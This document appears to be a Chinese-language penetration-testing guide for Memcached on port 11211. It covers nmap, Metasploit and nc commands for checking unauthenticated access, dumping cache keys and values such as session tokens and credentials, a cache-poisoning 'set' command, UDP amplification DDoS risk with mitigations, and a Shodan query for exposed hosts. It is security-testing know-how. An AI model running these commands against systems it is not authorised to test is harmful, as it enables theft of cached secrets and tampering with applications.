memcache-pentesting

# Memcached 渗透测试方法论 (11211) ## 深入参考 - Memcached 命令详解、数据提取技术、DDoS 放大原理 -> 读 [references/memcache-techniques.md](references/memcache-techniques.md) --- ## 整体决策树 ``` 发现 11211 端口开放 ├─ Phase 1: 服务发现 │ ├─ Nmap 脚本扫描 -> 版本与基本信息 │ ├─ 手动连接 (nc / telnet) │ └─ TCP vs UDP 探测 │ ├─ TCP 11211 -> 标准连接 │ └─ UDP 11211 -> DDoS 放大攻击面 ├─ Phase 2: 未授权访问测试 │ ├─ 发送 version / stats 命令 │ │ ├─ 返回数据 -> 未授权 -> Phase 3 │ │ └─ 无响应 / ERROR -> SASL 认证启用 -> 爆破 │ └─ Memcached 多数实例默认无认证 ├─ Phase 3: 缓存数据提取 │ ├─ stats -> 基础统计信息 │ ├─ stats slabs -> 内存分片信息 │ ├─ stats items -> 各 slab 中的项目 │ ├─ stats cachedump <slab> <count> -> 键名 (< 1.4.31) │ ├─ lru_crawler metadump all -> 键名 (>= 1.4.31) │ └─ get <key> -> 获取具体缓存值 ├─ Phase 4: DDoS 放大风险 │ ├─ UDP 端口开放 -> 可被利用为反射放大源 │ ├─ 放大比可达 51000x │ └─ Metasploit: auxiliary/scanner/memcached/memcached_amp └─ Phase 5: 已知漏洞 ├─ CVE-2021-37519 (堆溢出) ├─ CVE-2019-11596 (NULL 指针) └─ 旧版本缓冲区溢出 ``` --- ## Phase 1: 服务发现 ### 1.1 自动枚举 ```bash # Nmap 信息收集 nmap -n -sV --script memcached-info -p 11211 <IP> # Metasploit 数据提取 msf> use auxiliary/gather/memcached_extractor # Metasploit DDoS 放大检测 msf> use auxiliary/scanner/memcached/memcached_amp ``` ### 1.2 手动连接 ```bash # TCP 连接 echo "version" | nc -vn -w 1 <IP> 11211 echo "stats" | nc -vn -w 1 <IP> 11211 # libmemcached 工具 sudo apt install libmemcached-tools memcstat --servers=<IP> ``` --- ## Phase 2: 未授权访问测试 ### 2.1 认证检测 Memcached 虽支持 SASL 认证，但绝大多数实例默认暴露无认证。 ```bash # 发送 version 命令测试 echo "version" | nc -vn -w 1 <IP> 11211 # 返回 VERSION x.x.x 则无需认证 # 发送 stats 命令 echo "stats" | nc -vn -w 1 <IP> 11211 # 返回 STAT 数据则确认无认证 ``` ### 2.2 认证决策树 ``` 连接测试 ├─ 返回 VERSION / STAT 数据 │ └─ 未授权访问确认 -> Phase 3 ├─ 返回 ERROR 或无响应 │ ├─ SASL 认证可能启用 │ └─ 端口可能被防火墙过滤 └─ 连接超时 └─ 检查 TCP/UDP 端口状态 ``` --- ## Phase 3: 缓存数据提取 ### 3.1 基础信息收集 ```bash # 版本信息 echo "version" | nc -vn -w 1 <IP> 11211 # 通用统计 echo "stats" | nc -vn -w 1 <IP> 11211 # 内存分片统计 echo "stats slabs" | nc -vn -w 1 <IP> 11211 # 项目统计 echo "stats items" | nc -vn -w 1 <IP> 11211 ``` ### 3.2 键名提取 ```bash # Memcached < 1.4.31: cachedump 方式 echo "stats cachedump <slab_number> 0" | nc -vn -w 1 <IP> 11211 # 0 表示无限输出 # Memcached >= 1.4.31: lru_crawler 方式 (推荐) echo 'lru_crawler metadump all' | nc <IP> 11211 | head -50 ``` ### 3.3 获取具体值 ```bash # 获取指定键的值 echo "get <key_name>" | nc -vn -w 1 <IP> 11211 ``` ### 3.4 工具辅助 ```bash # libmemcached 工具 memcstat --servers=<IP> # 统计信息 memcdump --servers=<IP> # 导出所有键名 memccat --servers=<IP> <key> # 获取键值 # PHP 脚本 sudo apt-get install php-memcached php -r '$c = new Memcached(); $c->addServer("<IP>", 11211); var_dump($c->getAllKeys());' ``` ### 3.5 数据提取决策树 ``` 缓存数据提取流程 ├─ stats items -> 确认有数据的 slab ├─ 版本 < 1.4.31 │ └─ stats cachedump <slab> 0 -> 获取键名 ├─ 版本 >= 1.4.31 │ └─ lru_crawler metadump all -> 获取键名 ├─ 获取键名后 │ └─ get <key> -> 逐个获取值 └─ 关注的数据类型 ├─ 会话 Token / Session ID ├─ 用户凭据 / API Key ├─ 序列化对象 (反序列化攻击面) └─ 业务敏感数据 ``` **注意**: 缓存数据是临时的，可能随时出现或消失。 --- ## Phase 4: DDoS 放大风险 ### 4.1 UDP 反射放大 Memcached UDP 反射放大是已知的最大放大攻击之一，放大比可达 **51000x**。 ```bash # 检测 UDP 端口 nmap -sU -p 11211 <IP> # Metasploit 放大检测 msf> use auxiliary/scanner/memcached/memcached_amp msf> set RHOSTS <IP> msf> run ``` ### 4.2 DDoS 风险评估 ``` UDP 11211 开放 ├─ 可被滥用为 DDoS 反射放大源 │ ├─ 攻击者发送伪造源 IP 的小请求 │ ├─ Memcached 向受害者返回大响应 │ └─ 放大比高达 51000x ├─ 缓解措施 │ ├─ 禁用 UDP: memcached -U 0 │ ├─ 防火墙限制 11211 端口访问 │ └─ 绑定到 localhost: memcached -l 127.0.0.1 └─ 报告建议 └─ 将 UDP 暴露标记为高风险发现 ``` --- ## Phase 5: 已知漏洞 ### 5.1 漏洞检测决策树 ``` Memcached 版本已知 ├─ < 1.4.31 │ └─ cachedump 可用 (信息泄露更简单) ├─ < 1.5.6 │ └─ CVE-2018-1000127 (整数溢出) ├─ < 1.6.1 │ └─ CVE-2019-11596 (NULL 指针解引用 DoS) ├─ < 1.6.12 │ └─ CVE-2021-37519 (堆缓冲区溢出) └─ 通用 └─ searchsploit memcached ``` --- ## 数据写入与操纵 ### 缓存投毒 如果可以写入 Memcached，可以投毒缓存数据： ```bash # 设置/覆盖键值 printf "set target_key 0 3600 11\r\nmalicious_val\r\n" | nc <IP> 11211 # 潜在影响: # - 修改会话数据 -> 越权 # - 修改配置缓存 -> 逻辑绕过 # - 注入序列化对象 -> 反序列化 RCE ``` --- ## Shodan 搜索 ``` port:11211 "STAT pid" "STAT pid" ```